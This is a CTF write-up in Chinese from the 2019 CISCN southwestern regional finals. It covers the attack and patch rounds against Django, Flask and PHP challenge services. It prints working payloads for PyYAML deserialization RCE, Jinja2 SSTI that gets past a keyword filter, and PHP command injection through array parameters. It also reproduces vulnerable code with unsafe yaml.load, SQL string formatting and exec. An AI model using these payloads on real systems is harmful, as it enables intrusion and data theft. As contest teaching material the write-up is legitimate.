第十二届CISCN 国赛 西南赛区线下赛参赛记

  ctf

0x00前言

好好一个端午结果因为需要参加国赛被完全冲掉了,还是孤身一人去参加..比赛还加入了fix环节,出题的大佬们完全是把题目往死里出呀。。。。不过幸运地做出了两道题目,和fix了一部分靶机,因此记录一下。

Github

https://github.com/christasa/CTF-WEB/tree/master/CISCN_2019_southwestern_china

0x01Day 1 Break It

第一天有10到web题目,除了Syclover和电科大这种强无人的情况下,大多数都是做了这一道web题目,2333333

这题目是Django出的,作为Django开发的web狗来说还是挺友好的,首页面是一个登陆的页面

注册一个christa账号进行测试,发现所有页面的权限全部报告错误

 

测试后发生在忘记密码处使用之前注册过的邮箱进行忘记密码即可以更改admin的用户账号,使用admin登陆上传、上传显示、yaml的显示文件,其中yaml只有三个链接

同时在测试中发现在上传文件之后在upload_show上面无法找到已经上传的文件,全部为无法访问。F12大法后发现了hint /static/user.txt

访问之,只有一个单词number。结合yaml的内容将上传文件的改为1.yml,点击1.yml之后惊喜地发现自己地内容成功地替换了原内容。于是疯狂进行SSTI检测,但均无果。。。在乱七八糟混了一个小时后进行反思,网站为python Django开发的,一般不会有文件上传的功能。因此把思路放在了yaml上面,但是现场断网,主办方只给了3台电脑上网。。。。因此在排了大半天的电脑后终于上起了网,通过搜索发现yaml是一种数据化的模板,因此推断也有像XXE那样的模板注入,继续搜索。中途因为上厕所又排了大半天的队,233333333。终于在一篇文章上面找到了线索,因为当时时间紧,就直接拷在了word上面,这里膜一下那位师傅吧,文章中说到了PyYAML反序列化漏洞的技术文章,找到了专门针对PyYAML反序列化的漏洞利用代码

!!map {
? !!str "christa"
: !!python/object/apply:subprocess.check_output [
!!str "ls",
],
}

上传1.yml之后点击1.yml

成功执行代码!!!!但是这只能执行一些基本的代码,像whomai,pwd的命令,如果使用cat等一些命令则会出现访问错误的信息,继续浏览,同时找到了os.system(Python调用)同样能够实现远程代码执行,而且它还可以运行多个命令。但是在进行了尝试之后,发现这种方法根本就行不通,因为服务器端返回的结果是“0”,而且也无法查看到我的命令输出结果。同时也发现如果命令成功运行的话,os.system["command_here"]将只会返回退出代码"0",而由于Python处理子进程执行的特殊方式,我们也无法查看到命令输出结果,因此尝试将命令结果通过url带出,但是所有对IP的请求的命令全部返回35241错误,我们也无法将结果防止在同一地址上面,因为Django的url是需要配置蓝图的,任意一种url都需要配置url.py文件,因此无法像php那样直接读取任何文件,各种尝试之后,结合了上图中的ls的各种路径,发现了upload这个文件夹,结合了Django文件上传的一般文件夹的内容因此将命令执行结果打在了3.yml中,最终的payload为

"christa": !!python/object/apply:os.system ["cat /flag> upload/3.yml"]

上传文件,在2.yml中点开文件

命令成功执行,在3.yml中得到flag

 

flask_SSTI

这个之前没时间做了,赛后复原了一下

开头的页面是一个税的计算问题

经过测试之后发现有flask的ssti,同时版本为python3.5.2,同时还有过滤的函数,因为比赛的时候直接看到了源码,这里就直接贴出来,23333

 def safe_jinja(s):
            # 替换括号
            s = s.replace('()', '')
            s = s.replace('[]', '')
            blacklist = ['import','os','sys','commands','subprocess','open','eval']
            for bl in blacklist:
                s = s.replace(bl, "")
            return s

写入[[]]既可以绕过replace函数

因此直接构造出payload

{{[[]].__class__.__base__.__subclasses__(())[155].__init__.__globals__['__builtins__']['__imimportport__']("ooss").popopenen("cat flag").read(())}}

 

 

0x02 Day 1 Fix It

下午的维修场,把源码翻下来一看,这题目真是往死里出。。。

首先先修ciscn-q10题吧,源码如下

from django.contrib import auth
from django.contrib.auth import authenticate
from django.contrib.auth.decorators import login_required
from django.contrib.auth.models import User
from django.http import HttpResponseRedirect,HttpResponse
from django.shortcuts import render, redirect
from . import models
from .forms import RegisterForm
from .forms import UserForm
from ciscn.models import User
import os



def index(request):
    pass
    return render(request, 'login/index.html')


def login(request):
    if request.user.is_authenticated:
        return redirect('/index/')
    else:
        if request.method == "POST":
            login_form = UserForm(request.POST)
            message = "请检查填写的内容!"
            if login_form.is_valid():
                username = login_form.cleaned_data['username']
                password = login_form.cleaned_data['password']
                user = authenticate(username=username, password=password)
                try:
                    if user.is_active:
                        auth.login(request, user)
                        return HttpResponseRedirect('/index/')
                    else:
                        message = "用户不存在或密码错误!"
                except:
                    message = "用户不存在或密码错误!"
            return render(request, 'login/login.html', locals())

    login_form = UserForm()
    return render(request, 'login/login.html', locals())



def register(request):
    if request.method == "POST":
        register_form = RegisterForm(request.POST)
        message = "请检查填写的内容!"
        if register_form.is_valid():
            username = register_form.cleaned_data['username']
            password1 = register_form.cleaned_data['password1']
            password2 = register_form.cleaned_data['password2']
            email = register_form.cleaned_data['email']
            sex = register_form.cleaned_data['sex']
            if password1 != password2:
                message = "两次输入的密码不同!"
                return render(request, 'login/register.html', locals())
            else:
                same_name_user = models.User.objects.filter(username=username)
                if same_name_user:
                    message = '用户已经存在,请重新选择用户名!'
                    return render(request, 'login/register.html', locals())
                same_email_user = models.User.objects.filter(email=email)
                if same_email_user:
                    message = '该邮箱地址已被注册,请使用别的邮箱!'
                    return render(request, 'login/register.html', locals())


                user = User.objects.create_user(username, email, password1)
                user.sex = sex
                user.save()
                return redirect('/login/')
    register_form = RegisterForm()
    return render(request, 'login/register.html', locals())


def logout_user(request):
    auth.logout(request)
    return HttpResponseRedirect('/login/')



def change_page(request):
    pass
    return render(request, "login/change_pwd.html")



@login_required
def change_pwd(request):
    if request.method == "POST":
        y_pwd = request.POST.get('y_pwd')
        x_pwd = request.POST.get('x_pwd')
        username = request.user.username
        user = authenticate(username=username, password=y_pwd)
        if user.is_active:
            user.set_password(raw_password=x_pwd)
            user.save()
            auth.logout(request)
            return HttpResponseRedirect('/login/')
        else:
            message = "原密码不正确"
            return render(request, "login/change_pwd.html", locals())




def forget(request):
    pass
    return render(request, "login/forget.html")




def forget_pwd(request):
    if request.method == "POST":
        username = request.POST.get('username')
        email = request.POST.get('email')
        x_pwd = request.POST.get('x_pwd')
        user = models.User.objects.get(username=username)
        email = models.User.objects.get(email=email)
        if user and email:
            user.set_password(raw_password=x_pwd)
            user.save()
            return redirect("/login/")
        else:
            message = "邮箱或用户名不正确"
            return render(request, "login/change_pwd.html",locals())

@login_required

def upload_html(request):
    if request.user.is_superuser:
        return render(request, 'upload/upload.html')
    else:
        return HttpResponse('请用管理员权限访问')


def upload(request):
    if request.method == "POST":
        file = request.FILES.get("file")
        if not file:
            return HttpResponse("no files for upload!")
        if ".sh" in file.name or '.py' in file.name or ".php" in file.name or ".pyc" in file.name:
            return HttpResponse("非法上传")
        destination = open(os.path.join("upload", file.name), 'wb+')
        for chunk in file.chunks():
            destination.write(chunk)
        destination.close()
        return HttpResponse("upload successfully!")


@login_required
def show_upload(request):
    files = []
    if request.user.is_superuser:
        if request.method == "GET":
            for filename in os.listdir('upload'):
                files.append(filename)
            return render(request, 'show/upload_show.html', locals())
    else:
        return HttpResponse('请用管理员权限访问')

@login_required
def s_yaml(request):
    if request.method == "GET":
        return render(request, 'wr_yaml/read_yaml.html', locals())

@login_required
def r_yaml(request):
    import yaml
    try:
        if request.user.is_superuser:
            if request.method == "GET":
                name = request.GET.get('name')
                data = yaml.load(open('upload/{}'.format(name)).read())
                return render(request, 'wr_yaml/_yaml.html', locals())
        else:
            return HttpResponse('请用管理员权限访问')
    except:
        return HttpResponse("访问错误!!")

可以看出这一题的核心代码就在data = yaml.load(open('upload/{}'.format(name)).read())这一段代码上面,因此我将这段代码执行之前对yaml文件进行检查,过滤了ospythonsystem等一些关键函数。

然后就是万恶的flask的SSTI注入问题了,核心的代码块为

# -*- coding:utf-8 -*-
from flask import Flask, render_template, render_template_string, request
import tax
from jinja2 import Template
import re

app = Flask(__name__)
flag = 1
@app.route('/cal', methods=['GET'])
def cal_tax() -> 'html':
    try:
        # income = int(request.form['income'])
        income = int(request.args.get('income', 0))
        insurance = int(request.args.get('insurance', 0))
        exemption = int(request.args.get('exemption', 0))
        # insurance = int(request.form['insurance'])
        # exemption = int(request.form['exemption'])
        before = income-insurance-exemption
        free = 5000
        rule = [
        (80000, 0.45, 15160),
        (55000, 0.35, 7160),
        (35000, 0.3, 4410),
        (25000, 0.25, 2660),     
        (12000, 0.2, 1410),
        (3000, 0.1, 210),
        (0,0.03, 0)
        ]
        title = '个税计算结果'
        mytax = tax.calc_tax(before,free,rule)
        aftertax_income = income - insurance - mytax
        return render_template('results.html',
                                the_title=title,
                                the_income=str(income),
                                the_insurance=str(insurance),
                                the_exemption=str(exemption),
                                the_tax=str(mytax),
                                the_aftertax_income=str(aftertax_income))
    except ValueError:
        def safe_jinja(s):
            # 替换括号
            s = s.replace('()', '')
            s = s.replace('[]', '')
            blacklist = ['import','os','sys','commands','subprocess','open','eval']
            for bl in blacklist:
                s = s.replace(bl, "")
            return s
        title = "输入参数的值有错"
        # income = request.form['income']
        # income = request.form['income']
        # insurance = request.form['insurance']
        # exemption = request.form['exemption']
        income = request.args.get('income', 0)
        insurance = request.args.get('insurance', 0)
        exemption = request.args.get('exemption', 0)
        template = '''
        <!doctype html>
        <html>
            <head>
                <title>%s</title>
                <link rel="stylesheet" href="static/hf.css" />
            </head>
            <body>
            </body>
        </html>
            <h2>%s</h2>
            <table>
                <p>请检查输入的信息:</p>
                <tr><td>税前月收入:</td><td>%s</td></tr>
                <tr><td>四险一金:</td><td>%s</td></tr>
                <tr><td>专项附加扣除:</td><td>%s</td></tr>
            </table>
        ''' % (title, title, safe_jinja(income), safe_jinja(insurance), safe_jinja(exemption))
        t = Template(template)
        return t.render()

@app.route('/')
@app.route('/index')
def entry_page() -> 'html':
    return render_template('index.html', 
                            the_title='PY个人所得税计算器')

@app.errorhandler(404)
def page_not_found(e) -> 'html':
    return render_template('404.html',
    url=request.url), 404

@app.errorhandler(500)
def server_error(e) -> 'html':
    template = '''
    <title>500 Internal Server Error</title>
        <h1>Internal Server Error</h1>
    <p>The server encountered an internal error and was unable to complete your request. 
    Please check jinjia2 syntax. Either the server is overloaded or there is an error in the application.</p>
    '''
    return render_template_string(template), 500
if __name__ == '__main__':
    app.run(debug=False, port = 80, host="0.0.0.0")

 修补嘛,就继续往死里过滤呗,过滤了{}()等一些特殊字符咯。同时还有一个登陆的flask的题目

#-*- coding:utf-8 -*-
from flask import *
from os import urandom
from jinja2 import Template
from hashlib import md5
import sqlite3

app=Flask(__name__)
app.config['SECRET_KEY']=urandom(24)


@app.route('/',methods=['GET','POST'])
def root():
    if session.get('ID')=='admin':
        return redirect(url_for('index'))
    return redirect(url_for('login'))


def sql_filter(x):
    x = x.replace(' ', '')
    x = x.replace('select', '')
    x = x.replace('union', '')
    x = x.replace('from', '')
    return x

def md5encode(x):
    md=md5()
    md.update(x.encode(encoding="utf-8"))
    return md.hexdigest()

def sql_login(username,password):
    conn=sqlite3.connect("database.db")
    c=conn.cursor()
    curser=c.execute("select password from users where username='{}' limit 1;".format(sql_filter(username)))
    for row in curser:
        if row[0]==md5encode(password):
            conn.close()
            return True
        else:
            conn.close()
            return False


@app.route('/login',methods=['GET','POST'])
def login():
    if request.method=='POST':
        username=request.form['username']
        password=request.form['password']
        if sql_login(username,password)==True:
            session['ID']='admin'
            return redirect(url_for('index'))
        else:
            return render_template('login.html')
    return render_template('login.html')


def jinja_filter(x):
    x=x.replace('[','')
    x=x.replace(']','')
    print(x)
    return x


@app.route('/index')
def index():
    if session.get('ID')=='admin':
        name=request.args.get('username','admin')
        t=Template(
            '''<img src="static/img/niaoju.jpeg" alt="巫女赛高"><!--/flag--><h1>Welcome {}<h1/>'''.format(jinja_filter(name)))
        return t.render()
    else:
        return redirect(url_for('login'))


@app.route('/robots.txt')
def robot():
    return render_template('robots.txt')

@app.errorhandler(404)
def not_found(error):
    return render_template('404.html'),404

if __name__=='__main__':
    # app.run(host="0.0.0.0",port=80,debug=True)
    app.run()

过滤sql注入即可,我直接将select,from,union替换成了*,后面的题目后文件大多了,就先把一些源码放上来。

源码点这里

因为这里使用的docker容器,因此重启docker容器的命令就是先docker stop <docker-id>然后再使用docker start <docker-id>即重启服务

 

0x03 Day 2 Break It

这一天因为时间紧,只有4个小时,因此只放了3道web和2道pwn,做了14题,题目就只有一个查询的页面

这个题目能够进行文件的MD5的识别,用dirsearch扫一遍目录,发现了源码

下载下来用vim -r 恢复进行源码审计

<!DOCTYPE html>
<html><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta charset="utf-8">
<meta name="renderer" content="webkit|ie-comp|ie-stand">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no">
<meta http-equiv="Cache-Control" content="no-siteapp">

<link rel="stylesheet" type="text/css" href="static/H-ui.css">

<style type="text/css">
.ui-sortable .panel-header{ cursor:move}
</style>
<title>文件签名查询系统</title>
</head>
<body ontouchstart="">
<div class="text-c">
                <img src="static/img.png" style="width: 80%;padding-top: 50px">
        </div>

        <div class="text-c">
                <img src="static/logo.png" style="width: 50%;padding-top: 50px">
        </div>
                <div class="text-c" style="height: 200px">
                        <form method="POST">
                        <p><input type="text" class="input-text ac_input" style="width:50%;height: 50px" placeholder="请输入需要校验的文件名(例如:ios.rar)" name="path">
                        <input type="submit" class="btn btn-success" style="width:100px;height: 50px" value="提交">
                        <div class="text-c" style="font-size:35px;color:#5eb95e">

<?php
        error_reporting(0);
        $file_name = $_POST["path"];
        if(preg_match("/flag/",$file_name)){
                die("请不要输入奇奇怪怪的字符!");
        }

        if(is_array($file_name)){
                $file_name=implode($file_name);
        }

        if(!preg_match("/^[a-zA-Z0-9-s_]+.rar$/m", trim($file_name))) {
                echo "请输入正确的文件名";
        }else {
                echo( exec("/usr/bin/md5sum " . $file_name));
        }
?>

        </div>
        </form></div>

<footer class="footer mt-20" style="margin-top: 1%">
        <div class="container-fluid">
                <nav> <a href="#" target="_blank">关于我们</a> <span class="pipe">|</span> <a href="#" target="_blank">联系我们</a> <span class="pipe">|</span> <a href="#" target="_blank">法律声明</a> </nav>
                <p>Copyright ©2019 ciscn All Rights Reserved. <br>
                </p>
        </div>
</footer>

</body></html>

可以看见php命令中调用了exec 命令,可以进行命令执行,上面使用正则匹配字符或者数字的rar文件,但是不会匹配到换行,同时implode将php所有数组拼接成为一个字符串,因此可以通过implode绕过flag的字段,结合命令执行最终构造的payload为

path%5B%5D=ios.rar&path%5B%5D=%7C&path%5B%5D=cat$IFS/flag$IFS%5Cr%5Cn&path%5B%5D=ios.rar

Get_flag!

还有一道计算的题可以写一写,无奈时间太短,放弃了。。。

 

0x04 Day 2 Fix It

同样,上面的代码进行修复,修复后的代码为

<?php
        error_reporting(0);
        $file_name = $_POST["path"];
        if(preg_match("/flag/",$file_name)){
                die("请不要输入奇奇怪怪的字符!");
        }

        if(is_array($file_name)){
                $file_name=implode($file_name);
                $file_name = urldecode($file_name);
        }
        
        if(!preg_match("/^[a-zA-Z0-9-s_]+.rar$/m", trim($file_name))) {
                echo "请输入正确的文件名";
        }else {
                $m =stripos(trim($file_name), 'flag');
                $m =stripos(trim($file_name), 'cat');
                $m =stripos(trim($file_name), '$IFS');
                if($m){
                     die("请不要输入奇奇怪怪的字符!");
                }       
                echo(md5(file_get_contents($file_name)));  # 修复
        }
?>

计算题目的代码为

<?php
if (!session_id()) session_start();
error_reporting(0);
if(isset($_SESSION['count'])){
if(!isset($_POST['input'])||!is_numeric($_POST['input'])||intval($_POST['input'])!=10000019){
	session_destroy();
	echo '
	<script language="javascript">  
	alert("must input some big number ~");  
	window.history.back(-1);  </script>';
	}
}
if(preg_match("/[a-zA-Z]+/",$_POST['input'])||preg_match("/[a-zA-Z]+/",$_POST['ans'])){
	echo '
	<script language="javascript">  
	alert("No alphabet please");  
	window.history.back(-1);  </script>';
}
if(!isset($_SESSION['count']))
$_SESSION['count']=0;
if(isset($_SESSION['ans']) && isset($_POST['ans'])){
	if(($_SESSION['ans'])+intval($_POST['input'])!=$_POST['ans']){
		session_destroy();
		echo '
		<script language="javascript">  
		alert("wrong result you know it !");  
		window.history.back(-1);  </script>';
	}
	else{
		if(intval(time())-$_SESSION['time']<2){
			session_destroy();
			echo '
			<script language="javascript">  
			alert("slow down !");  
			window.history.back(-1); </script> ';
		}
		if(intval(time())-$_SESSION['time']>3){
			session_destroy();
			echo '
			<script language="javascript">  
			alert("You are a bit of slow");  
			window.history.back(-1); </script> ';
		}
		echo '
		<script language="javascript">  
		alert("right answer");  
	     </script> ';
		$_SESSION['count']++;
	}
}



if($_SESSION['count']>=5){
	session_destroy();
	echo system("cat /flag");
	die();
}
$num1=rand(0,10000000);
$num2=rand(0,10000000);
$num3=rand(0,10000000);
$num4=rand(0,10000000);
$num5=rand(0,10000000);
$num6=rand(0,10000000);
$num7=rand(0,10000000);
$num8=rand(0,10000000);
$num9=rand(0,10000000);
$mark=rand(0,3);

switch($mark){
case 0:
	$_SESSION['ans']=$num1+$num2*$num3+$num4-$num5+$num6*$num7-$num8*$num9;
	break;
case 1:
	$_SESSION['ans']=$num1-$num2+$num3-$num4+$num5+$num6-$num7+$num8-$num9;
	break;
case 2:
	$_SESSION['ans']=$num1*$num2-$num3+$num4+$num5*$num6+$num7-$num8*$num9;
	break;
case 3:
	$_SESSION['ans']=$num1+$num2+$num3*$num4-$num5-$num6+$num7*$num8+$num9;
	break;
}
$_SESSION['time']=intval(time());

?>

<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<meta name="author" content="Kodinger">
	<meta name="viewport" content="width=device-width,initial-scale=1">
	<title>do some calculation</title>
	<link rel="stylesheet" type="text/css" href="./static/bootstrap/css/bootstrap.min.css">
	<link rel="stylesheet" type="text/css" href="./static/css/main.css">
	<!--think about info leaking please-->
</head>
<body class="my-login-page">
    <div class="d-flex flex-column flex-md-row align-items-center p-3 px-md-4 mb-3 bg-white border-bottom box-shadow">
      <h5 class="my-0 mr-md-auto font-weight-normal">who can be the master of calculation</h5>
    </div>
	<section class="h h-100">
		<div class="container h-100">
			<h1 class="articles">Try your best</h1>

			<div id="article_list" class="row justify-content-md-center">
                        
                        <a href="#" class="card fat col-md-5 article-card">
			    <div class="card-body">
			     <b class="text-info article">tip:</b>the blank must be filled, and big number should't be a problem
			    </div>
		        </a>
                        
                        <a href="#" class="card fat col-md-5 article-card">
			    <div class="card-body">
			     <b class="text-info article">tip:</b>Old and easy, still this question is tricky
			    </div>
		        </a>
<p  align="right">Now calculating correctly for<?php echo $_SESSION['count'];?>times</p>
		        
                    <form action="" method="post">

					 <input type="text" name="input"><div  style="display:inline;">+</div>
					<?php
					$sentence="";

					switch($mark){
					case 0:
						$sentence="$num1+$num2*$num3+$num4-$num5+$num6*$num7-$num8*$num9=";
						break;
					case 1:
						$sentence="$num1-$num2+$num3-$num4+$num5+$num6-$num7+$num8-$num9=";
						break;
					case 2:
						$sentence="$num1*$num2-$num3+$num4+$num5*$num6+$num7-$num8*$num9=";
						break;
					case 3:
						$sentence="$num1+$num2+$num3*$num4-$num5-$num6+$num7*$num8+$num9=";
						break;
					}
					for($i=0;$i<strlen($sentence);$i++){
						echo "<div style=\"display:inline;\">".$sentence[$i]."</div>";
					}
					?>

					<input type="text" name="ans">
					<input type="submit" value="check">
					</form>    
			</div>
			
		</div>
	</section>
<!--the big number is the fist prime after 1000000 -->
<!--and use your head, my head to solve it out !-->

	<script src="./static/js/jquery.min.js"></script>
	<script src="./static/js/main.js"></script>
</body>
</html>





直接删除echo system("cat /flag");命令,修改一下session['count']的数目就过了。。。。

还有一道文件上传的题目没有时间做了,放个源码

 

各位师傅实在是太强了,一个人打不过呀,tclcrying

 

这次比赛认识很多厉害的师傅们,像evoA师傅,F师傅等,tql...